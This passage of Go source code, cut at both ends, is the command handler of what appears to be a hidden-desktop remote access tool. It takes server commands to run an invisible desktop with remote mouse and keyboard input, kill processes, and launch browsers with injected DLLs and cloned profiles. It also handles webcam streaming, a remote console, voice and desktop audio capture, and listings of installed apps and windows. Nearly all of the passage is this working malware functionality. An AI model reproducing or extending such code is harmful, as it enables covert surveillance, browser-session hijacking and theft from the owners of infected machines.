= v } } log.Printf("backstage: set resolution maxHeight=%d", maxH) capture.SetMaxResolution(maxH) sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_set_fps": payload, _ := envelope["payload"].(map[string]interface{}) fps := 120 if payload != nil { if v, ok := payloadInt(payload, "fps"); ok { fps = v } } if env.VirtualCancel != nil { fps = SetVirtualTargetFPS(fps) } else { // Also seed virtual mode so a setting sent immediately before // backstage_start is retained when that start selects virtual mode. fps = SetbackstageTargetFPS(fps) SetVirtualTargetFPS(fps) } log.Printf("backstage: set target fps=%d", fps) sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_set_quality": payload, _ := envelope["payload"].(map[string]interface{}) quality := 90 codec := "" if payload != nil { if q, ok := payloadInt(payload, "quality"); ok { quality = q } if v, ok := payload["codec"].(string); ok { codec = v } } log.Printf("backstage: set quality=%d codec=%s", quality, codec) capture.SetBackstageQualityAndCodec(quality, codec) sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_request_keyframe": log.Printf("backstage: request full frame") capture.RequestbackstageFullFrame() sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_mouse_move": payload, _ := envelope["payload"].(map[string]interface{}) x, y := int32(0), int32(0) if payload != nil { switch v := payload["x"].(type) { case float64: x = int32(v) case float32: x = int32(v) case int: x = int32(v) case int8: x = int32(v) case int16: x = int32(v) case int32: x = v case int64: x = int32(v) case uint: x = int32(v) case uint8: x = int32(v) case uint16: x = int32(v) case uint32: x = int32(v) case uint64: x = int32(v) } switch v := payload["y"].(type) { case float64: y = int32(v) case float32: y = int32(v) case int: y = int32(v) case int8: y = int32(v) case int16: y = int32(v) case int32: y = v case int64: y = int32(v) case uint: y = int32(v) case uint8: y = int32(v) case uint16: y = int32(v) case uint32: y = int32(v) case uint64: y = int32(v) } } if env.VirtualCancel != nil { if !env.VirtualMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } capture.VirtualInputMouseMove(x, y) return nil } if !env.BackstageMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseMove, display: env.BackstageSelectedDisplay, x: x, y: y}) return nil case "backstage_mouse_down": if env.VirtualCancel == nil && !env.BackstageMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) btn := 0 x, y := int32(0), int32(0) if payload != nil { switch v := payload["button"].(type) { case float64: btn = int(v) case float32: btn = int(v) case int: btn = v case int8: btn = int(v) case int16: btn = int(v) case int32: btn = int(v) case int64: btn = int(v) case uint: btn = int(v) case uint8: btn = int(v) case uint16: btn = int(v) case uint32: btn = int(v) case uint64: btn = int(v) } switch v := payload["x"].(type) { case float64: x = int32(v) case float32: x = int32(v) case int: x = int32(v) case int8: x = int32(v) case int16: x = int32(v) case int32: x = v case int64: x = int32(v) case uint: x = int32(v) case uint8: x = int32(v) case uint16: x = int32(v) case uint32: x = int32(v) case uint64: x = int32(v) } switch v := payload["y"].(type) { case float64: y = int32(v) case float32: y = int32(v) case int: y = int32(v) case int8: y = int32(v) case int16: y = int32(v) case int32: y = v case int64: y = int32(v) case uint: y = int32(v) case uint8: y = int32(v) case uint16: y = int32(v) case uint32: y = int32(v) case uint64: y = int32(v) } } if env.VirtualCancel != nil { if !env.VirtualMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } _ = capture.VirtualInputMouseMove(x, y) _ = capture.VirtualInputMouseDown(btn) return nil } enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseDown, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y}) return nil case "backstage_mouse_up": if env.VirtualCancel == nil && !env.BackstageMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) btn := 0 x, y := int32(0), int32(0) if payload != nil { switch v := payload["button"].(type) { case float64: btn = int(v) case float32: btn = int(v) case int: btn = v case int8: btn = int(v) case int16: btn = int(v) case int32: btn = int(v) case int64: btn = int(v) case uint: btn = int(v) case uint8: btn = int(v) case uint16: btn = int(v) case uint32: btn = int(v) case uint64: btn = int(v) } switch v := payload["x"].(type) { case float64: x = int32(v) case float32: x = int32(v) case int: x = int32(v) case int8: x = int32(v) case int16: x = int32(v) case int32: x = v case int64: x = int32(v) case uint: x = int32(v) case uint8: x = int32(v) case uint16: x = int32(v) case uint32: x = int32(v) case uint64: x = int32(v) } switch v := payload["y"].(type) { case float64: y = int32(v) case float32: y = int32(v) case int: y = int32(v) case int8: y = int32(v) case int16: y = int32(v) case int32: y = v case int64: y = int32(v) case uint: y = int32(v) case uint8: y = int32(v) case uint16: y = int32(v) case uint32: y = int32(v) case uint64: y = int32(v) } } if env.VirtualCancel != nil { if !env.VirtualMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } _ = capture.VirtualInputMouseMove(x, y) _ = capture.VirtualInputMouseUp(btn) return nil } enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseUp, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y}) return nil case "backstage_mouse_wheel": if env.VirtualCancel == nil && !env.BackstageMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) delta := int32(0) x, y := int32(0), int32(0) if payload != nil { switch v := payload["delta"].(type) { case float64: delta = int32(v) case float32: delta = int32(v) case int: delta = int32(v) case int8: delta = int32(v) case int16: delta = int32(v) case int32: delta = v case int64: delta = int32(v) case uint: delta = int32(v) case uint8: delta = int32(v) case uint16: delta = int32(v) case uint32: delta = int32(v) case uint64: delta = int32(v) } switch v := payload["x"].(type) { case float64: x = int32(v) case float32: x = int32(v) case int: x = int32(v) case int8: x = int32(v) case int16: x = int32(v) case int32: x = v case int64: x = int32(v) case uint: x = int32(v) case uint8: x = int32(v) case uint16: x = int32(v) case uint32: x = int32(v) case uint64: x = int32(v) } switch v := payload["y"].(type) { case float64: y = int32(v) case float32: y = int32(v) case int: y = int32(v) case int8: y = int32(v) case int16: y = int32(v) case int32: y = v case int64: y = int32(v) case uint: y = int32(v) case uint8: y = int32(v) case uint16: y = int32(v) case uint32: y = int32(v) case uint64: y = int32(v) } } if env.VirtualCancel != nil { if !env.VirtualMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } _ = capture.VirtualInputMouseMove(x, y) _ = capture.VirtualInputMouseWheel(delta) return nil } enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseWheel, display: env.BackstageSelectedDisplay, delta: delta, x: x, y: y}) return nil case "backstage_key_down": if env.VirtualCancel == nil && !env.BackstageKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) code := "" text := "" if payload != nil { if v, ok := payload["code"].(string); ok { code = v } if v, ok := payload["text"].(string); ok { text = v } } if vk := keyCodeToVKbackstage(code); vk != 0 { if env.VirtualCancel != nil { if !env.VirtualKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } capture.VirtualInputKeyDown(vk) return nil } enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk, text: text}) } return nil case "backstage_key_up": if env.VirtualCancel == nil && !env.BackstageKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) code := "" if payload != nil { if v, ok := payload["code"].(string); ok { code = v } } if vk := keyCodeToVKbackstage(code); vk != 0 { if env.VirtualCancel != nil { if !env.VirtualKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } capture.VirtualInputKeyUp(vk) return nil } enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyUp, vk: vk}) } return nil case "backstage_start_process": payload, _ := envelope["payload"].(map[string]interface{}) filePath := "" killExe := "" operaPatch := false display := 0 if payload != nil { if v, ok := payload["path"].(string); ok { filePath = v } if v, ok := payload["kill_exe"].(string); ok { killExe = v } if v, ok := payload["opera_patch"].(bool); ok { operaPatch = v } if v, ok := payload["display"].(float64); ok { display = int(v) } } if env.VirtualCancel != nil { log.Printf("hidden: start process %q", filePath) sendCommandResultSafe(env, cmdID, true, "") goSafe("virtual_start_process", nil, func() { if killExe != "" { out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput() log.Printf("hidden: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err) } if _, err := capture.StartVirtualProcess(filePath); err != nil { log.Printf("hidden: start process failed for %q: %v", filePath, err) } }) return nil } log.Printf("backstage: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_process", nil, func() { sendLaunchStatus := func(step string, success bool, detail string) { _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{ Type: "backstage_browser_launch_status", Browser: filepath.Base(strings.Trim(filePath, `"`)), Step: step, Success: success, Detail: detail, }) } if killExe != "" { sendLaunchStatus("kill", true, "killing "+killExe) out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput() log.Printf("backstage: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err) if err != nil { sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out)))) } } sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath)) if err := capture.StartbackstageProcess(filePath, operaPatch, display); err != nil { log.Printf("backstage: start process failed for %q: %v", filePath, err) sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err)) } else { sendLaunchStatus("launch", true, "process created") } }) return nil case "backstage_kill_all": if env.VirtualCancel != nil { log.Printf("hidden: kill all processes on virtual monitor") sendCommandResultSafe(env, cmdID, true, "") goSafe("virtual_kill_all", nil, func() { if err := capture.VirtualKillAll(); err != nil { log.Printf("hidden: kill all failed: %v", err) } }) return nil } log.Printf("backstage: kill all processes on hidden desktop") sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_kill_all", nil, func() { if err := capture.BackstageKillAll(); err != nil { log.Printf("backstage: kill all failed: %v", err) } }) return nil case "backstage_window_list": log.Printf("backstage: window list requested") sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_window_list", nil, func() { windows, monitors := capture.BackstageEnumWindows() winEntries := make([]wire.BackstageWindowEntry, 0, len(windows)) for _, w := range windows { winEntries = append(winEntries, wire.BackstageWindowEntry{ Title: w.Title, X: w.X, Y: w.Y, Width: w.Width, Height: w.Height, PID: w.PID, ProcessName: w.ProcessName, Monitor: w.Monitor, }) } monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors)) for _, m := range monitors { monEntries = append(monEntries, wire.BackstageMonitorEntry{ Index: m.Index, Name: m.Name, X: m.X, Y: m.Y, Width: m.Width, Height: m.Height, Primary: m.Primary, }) } _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{ Type: "backstage_window_list_result", Windows: winEntries, Monitors: monEntries, }) log.Printf("backstage: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries)) }) return nil case "backstage_browser_check": log.Printf("backstage: browser availability check requested") sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_browser_check", nil, func() { browsers := capture.CheckInstalledBrowsers() _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserCheckResult{ Type: "backstage_browser_check_result", Browsers: browsers, }) log.Printf("backstage: browser check complete: %v", browsers) }) return nil case "backstage_installed_apps": log.Printf("backstage: installed apps enumeration requested") sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_installed_apps", nil, func() { const batchSize = 15 apps := enumerateInstalledApps() log.Printf("backstage: enumerated %d installed apps, extracting icons in batches", len(apps)) var batch []wire.BackstageInstalledApp sent := 0 for _, a := range apps { batch = append(batch, wire.BackstageInstalledApp{ Name: a.name, ExePath: a.exePath, Icon: extractIconBase64(a.exePath), }) if len(batch) >= batchSize { _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{ Type: "backstage_installed_apps_result", Apps: batch, }) sent += len(batch) batch = batch[:0] } } _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{ Type: "backstage_installed_apps_result", Apps: batch, Done: true, }) sent += len(batch) log.Printf("backstage: installed apps complete, sent %d apps", sent) }) return nil case "backstage_lookup": payload, _ := envelope["payload"].(map[string]interface{}) exeName := "" if payload != nil { if v, ok := payload["exe"].(string); ok { exeName = v } } if exeName == "" { sendCommandResultSafe(env, cmdID, false, "no exe name provided") return nil } log.Printf("backstage: lookup exe %q", exeName) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_lookup", nil, func() { filesearch.LookupExe(exeName, 8, func(path string) { _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{ Type: "backstage_lookup_result", Exe: exeName, Path: path, Done: false, }) }) _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{ Type: "backstage_lookup_result", Exe: exeName, Path: "", Done: true, }) log.Printf("backstage: lookup complete for %q", exeName) }) return nil case "backstage_start_process_injected": payload, _ := envelope["payload"].(map[string]interface{}) filePath := "" searchPath := "" replacePath := "" display := 0 if payload != nil { if v, ok := payload["path"].(string); ok { filePath = v } if v, ok := payload["search_path"].(string); ok { searchPath = v } if v, ok := payload["replace_path"].(string); ok { replacePath = v } if v, ok := payload["display"].(float64); ok { display = int(v) } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { sendCommandResultSafe(env, cmdID, false, "no DLL provided") return nil } captureDllBytes := extractCaptureDLLBytes(payload) log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_process_injected", nil, func() { if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil { log.Printf("backstage: injected process failed for %q: %v", filePath, err) } }) return nil case "backstage_start_chrome_injected": payload, _ := envelope["payload"].(map[string]interface{}) chromePath := "" if payload != nil { if v, ok := payload["path"].(string); ok { chromePath = v } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { sendCommandResultSafe(env, cmdID, false, "no DLL provided") return nil } log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes)) captureDllBytes := extractCaptureDLLBytes(payload) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_chrome_injected", nil, func() { if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil { log.Printf("backstage: chrome injected failed: %v", err) } }) return nil case "backstage_start_browser_injected": payload, _ := envelope["payload"].(map[string]interface{}) browser := "" exePath := "" clone := true cloneLite := false killIfRunning := false display := 0 if payload != nil { if v, ok := payload["browser"].(string); ok { browser = v } if v, ok := payload["path"].(string); ok { exePath = v } if v, ok := payload["clone"].(bool); ok { clone = v } if v, ok := payload["cloneLite"].(bool); ok { cloneLite = v } if v, ok := payload["killIfRunning"].(bool); ok { killIfRunning = v } if v, ok := payload["display"].(float64); ok { display = int(v) } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { sendCommandResultSafe(env, cmdID, false, "no DLL provided") return nil } if browser == "" { sendCommandResultSafe(env, cmdID, false, "no browser specified") return nil } log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes)) captureDllBytes := extractCaptureDLLBytes(payload) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_browser_injected", nil, func() { var onProgress capture.CloneProgressFunc if clone { var limiter cloneProgressLimiter onProgress = func(percent int, copiedBytes, totalBytes int64, status string) { if !limiter.allow(time.Now(), copiedBytes, status) { return } _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{ Type: "backstage_clone_progress", Browser: browser, Percent: percent, CopiedBytes: copiedBytes, TotalBytes: totalBytes, Status: status, }) } } onDXGIStatus := func(success bool, gpuPID uint32, message string) { _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageDXGIStatus{ Type: "backstage_dxgi_status", Success: success, GPUPid: gpuPID, Message: message, }) } onLaunchStatus := func(step string, success bool, detail string) { _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{ Type: "backstage_browser_launch_status", Browser: browser, Step: step, Success: success, Detail: detail, }) } if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil { log.Printf("backstage: browser injected failed for %q: %v", browser, err) } }) return nil // ==================== HIDDEN MODE COMMANDS ==================== case "virtual_start": payload, _ := envelope["payload"].(map[string]interface{}) autoStartExplorer := false if payload != nil { if v, ok := payload["autoStartExplorer"].(bool); ok { autoStartExplorer = v } } capture.RequestDesktopRecoveryAfterBackstageStart() env.VirtualMu.Lock() if env.VirtualCancel != nil { env.VirtualCancel() waitStreamStop(env.VirtualDone, "hidden") } hiddenCtx, cancel := context.WithCancel(ctx) env.VirtualCancel = cancel done := make(chan struct{}) env.VirtualDone = done goSafe("hidden stream", env.Cancel, func() { log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer) if err := capture.InitializeVirtualMode(); err != nil { log.Printf("hidden: initialization failed: %v", err) close(done) return } if autoStartExplorer { if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil { log.Printf("hidden: auto-start explorer error: %v", err) } } _ = VirtualStart(hiddenCtx, env) close(done) }) env.VirtualMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil case "virtual_stop": env.VirtualMu.Lock() log.Printf("hidden: stop requested") env.VirtualMouseControl = false env.VirtualKeyboardControl = false env.VirtualCursorCapture = false if env.VirtualCancel != nil { env.VirtualCancel() } waitStreamStop(env.VirtualDone, "hidden") env.VirtualCancel = nil env.VirtualDone = nil env.VirtualMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil case "virtual_enable_mouse": payload, _ := envelope["payload"].(map[string]interface{}) enabled := true if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } log.Printf("hidden: mouse control %v", enabled) _ = VirtualMouseControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "virtual_enable_keyboard": payload, _ := envelope["payload"].(map[string]interface{}) enabled := true if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } log.Printf("hidden: keyboard control %v", enabled) _ = VirtualKeyboardControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "virtual_enable_cursor": payload, _ := envelope["payload"].(map[string]interface{}) enabled := false if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } log.Printf("hidden: cursor capture %v", enabled) _ = VirtualCursorControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "virtual_set_fps": payload, _ := envelope["payload"].(map[string]interface{}) fps := 120 if payload != nil { if v, ok := payloadInt(payload, "fps"); ok { fps = v } } fps = SetVirtualTargetFPS(fps) log.Printf("hidden: set target fps=%d", fps) sendCommandResultSafe(env, cmdID, true, "") return nil case "virtual_set_quality": payload, _ := envelope["payload"].(map[string]interface{}) quality := 90 codec := "" if payload != nil { if q, ok := payloadInt(payload, "quality"); ok { quality = q } if v, ok := payload["codec"].(string); ok { codec = v } } log.Printf("hidden: set quality=%d codec=%s", quality, codec) capture.SetBackstageQualityAndCodec(quality, codec) sendCommandResultSafe(env, cmdID, true, "") return nil case "virtual_request_keyframe": log.Printf("hidden: request full frame") capture.RequestbackstageFullFrame() sendCommandResultSafe(env, cmdID, true, "") return nil case "virtual_mouse_move": if !env.VirtualMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) x, y := int32(0), int32(0) if payload != nil { if v, ok := payloadInt32(payload, "x"); ok { x = v } if v, ok := payloadInt32(payload, "y"); ok { y = v } } capture.VirtualInputMouseMove(x, y) return nil case "virtual_mouse_down": if !env.VirtualMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) btn := 0 if payload != nil { if v, ok := payload["button"].(float64); ok { btn = int(v) } } capture.VirtualInputMouseDown(btn) return nil case "virtual_mouse_up": if !env.VirtualMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) btn := 0 if payload != nil { if v, ok := payload["button"].(float64); ok { btn = int(v) } } capture.VirtualInputMouseUp(btn) return nil case "virtual_mouse_wheel": if !env.VirtualMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) delta := int32(0) if payload != nil { if v, ok := payload["delta"].(float64); ok { delta = int32(v) } } capture.VirtualInputMouseWheel(delta) return nil case "virtual_key_down": if !env.VirtualKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) code := "" if payload != nil { if v, ok := payload["code"].(string); ok { code = v } } if vk := keyCodeToVKVirtual(code); vk != 0 { capture.VirtualInputKeyDown(vk) } return nil case "virtual_key_up": if !env.VirtualKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } payload, _ := envelope["payload"].(map[string]interface{}) code := "" if payload != nil { if v, ok := payload["code"].(string); ok { code = v } } if vk := keyCodeToVKVirtual(code); vk != 0 { capture.VirtualInputKeyUp(vk) } return nil case "virtual_start_process": payload, _ := envelope["payload"].(map[string]interface{}) filePath := "" if payload != nil { if v, ok := payload["path"].(string); ok { filePath = v } } log.Printf("hidden: start process %q", filePath) sendCommandResultSafe(env, cmdID, true, "") goSafe("virtual_start_process", nil, func() { if _, err := capture.StartVirtualProcess(filePath); err != nil { log.Printf("hidden: start process failed for %q: %v", filePath, err) } }) return nil case "virtual_kill_all": log.Printf("hidden: kill all processes on virtual monitor") sendCommandResultSafe(env, cmdID, true, "") goSafe("virtual_kill_all", nil, func() { if err := capture.VirtualKillAll(); err != nil { log.Printf("hidden: kill all failed: %v", err) } }) return nil case "virtual_window_list": log.Printf("hidden: window list requested") sendCommandResultSafe(env, cmdID, true, "") goSafe("virtual_window_list", nil, func() { windows, monitors := capture.VirtualEnumWindows() winEntries := make([]wire.BackstageWindowEntry, 0, len(windows)) for _, w := range windows { winEntries = append(winEntries, wire.BackstageWindowEntry{ Title: w.Title, X: w.X, Y: w.Y, Width: w.Width, Height: w.Height, PID: w.PID, ProcessName: w.ProcessName, Monitor: w.Monitor, }) } monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors)) for _, m := range monitors { monEntries = append(monEntries, wire.BackstageMonitorEntry{ Index: m.Index, Name: m.Name, X: m.X, Y: m.Y, Width: m.Width, Height: m.Height, Primary: m.Primary, }) } _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{ Type: "backstage_window_list_result", Windows: winEntries, Monitors: monEntries, }) log.Printf("hidden: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries)) }) return nil case "webcam_start": env.WebcamMu.Lock() if env.WebcamCancel != nil { env.WebcamCancel() waitStreamStop(env.WebcamDone, "webcam") } webcamCtx, cancel := context.WithCancel(ctx) env.WebcamCancel = cancel done := make(chan struct{}) env.WebcamDone = done goSafe("webcam stream", env.Cancel, func() { log.Printf("webcam: start requested") _ = WebcamStart(webcamCtx, env) close(done) }) env.WebcamMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil case "webcam_list": devices, err := capture.ListWebcams() if err != nil { sendCommandResultSafe(env, cmdID, false, err.Error()) return nil } out := make([]wire.WebcamDevice, 0, len(devices)) for _, dev := range devices { out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS}) } _ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex}) sendCommandResultSafe(env, cmdID, true, "") return nil case "webcam_select": payload, _ := envelope["payload"].(map[string]interface{}) index := 0 if payload != nil { if n, ok := payloadInt(payload, "index"); ok { index = n } } env.WebcamDeviceIndex = index capture.CleanupWebcam() sendCommandResultSafe(env, cmdID, true, "") return nil case "webcam_set_fps": payload, _ := envelope["payload"].(map[string]interface{}) env.WebcamMu.Lock() isStreaming := env.WebcamCancel != nil env.WebcamMu.Unlock() if isStreaming { sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps") return nil } fps := env.WebcamFPS useMax := env.WebcamUseMaxFPS if payload != nil { if n, ok := payloadInt(payload, "fps"); ok { fps = n } if v, ok := payload["useMax"].(bool); ok { useMax = v } } if fps < 1 { fps = 30 } if fps > 120 { fps = 120 } clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax) if clampErr != nil { log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr) } else { fps = clampedFPS } env.WebcamFPS = fps capture.SetWebcamH264TargetFPS(fps) env.WebcamUseMaxFPS = useMax sendCommandResultSafe(env, cmdID, true, "") return nil case "webcam_set_quality": payload, _ := envelope["payload"].(map[string]interface{}) quality := 0 codec := "" if payload != nil { if q, ok := payloadInt(payload, "quality"); ok { quality = q } if v, ok := payload["codec"].(string); ok { codec = v } } if quality < 0 { quality = 0 } if quality > 100 { quality = 100 } switch codec { case "jpeg", "h264": // valid default: codec = "jpeg" } env.WebcamQuality = quality env.WebcamCodec = codec log.Printf("webcam: set quality=%d codec=%s", quality, codec) sendCommandResultSafe(env, cmdID, true, "") return nil case "webcam_stop": env.WebcamMu.Lock() log.Printf("webcam: stop requested") if env.WebcamCancel != nil { env.WebcamCancel() } waitStreamStop(env.WebcamDone, "webcam") env.WebcamCancel = nil env.WebcamDone = nil env.WebcamMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil case "console_start": sessionID, _ := envelopePayloadString(envelope, "sessionId") cols, rows := envelopePayloadInts(envelope) if sessionID == "" { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"}) } if err := env.Console.Start(ctx, runtime.ConsoleStartRequest{SessionID: sessionID, Cols: cols, Rows: rows}); err != nil { _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) return nil } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "console_input": sessionID, _ := envelopePayloadString(envelope, "sessionId") data, _ := envelopePayloadString(envelope, "data") if sessionID != "" && data != "" { _ = env.Console.Write(ctx, sessionID, data) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "console_stop": sessionID, _ := envelopePayloadString(envelope, "sessionId") if sessionID != "" { env.Console.Stop(sessionID) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "console_resize": sessionID, _ := envelopePayloadString(envelope, "sessionId") cols, rows := envelopePayloadInts(envelope) if sessionID != "" { _ = env.Console.Resize(sessionID, cols, rows) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "voice_session_start": sessionID, _ := envelopePayloadString(envelope, "sessionId") source := "default" payload, _ := envelope["payload"].(map[string]interface{}) if payload != nil { if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" { source = strings.TrimSpace(v) } } if err := startVoiceSession(ctx, env, sessionID, source); err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "voice_session_stop": stopVoiceSession() return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "voice_downlink": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"}) } data, _ := payload["data"].([]byte) if err := writeVoiceDownlink(data); err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "voice_capabilities": caps := audio.ProbeCapabilities() payload, _ := json.Marshal(caps) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)}) case "client_logs_request": payload := payloadAsMap(envelope["payload"]) sinceSeq := uint64(payloadNumberToInt64(payload["sinceSeq"])) limit := int(payloadNumberToInt64(payload["limit"])) snap := securelog.SnapshotLogs(sinceSeq, limit) entries := make([]wire.ClientLogEntry, 0, len(snap.Entries)) for _, entry := range snap.Entries { entries = append(entries, wire.ClientLogEntry{ Seq: entry.Seq, At: entry.At, Source: entry.Source, Blob: entry.Blob, }) } return wire.WriteMsg(ctx, env.Conn, wire.ClientLogsResult{ Type: "client_logs_result", CommandID: cmdID, OK: snap.Enabled && snap.Error == "", Entries: entries, Dropped: snap.Dropped, FromSeq: snap.FromSeq, ToSeq: snap.ToSeq, Enabled: snap.Enabled, Error: snap.Error, }) case "desktop_audio_start": sessionID, _ := envelopePayloadString(envelope, "sessionId") source := "system" payload, _ := envelope["payload"].(map[string]interface{}) if payload != nil { if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" { source = strings.TrimSpace(v) } } if err := startDesktopAudioSession(ctx, env, sessionID, source); err != nil { return 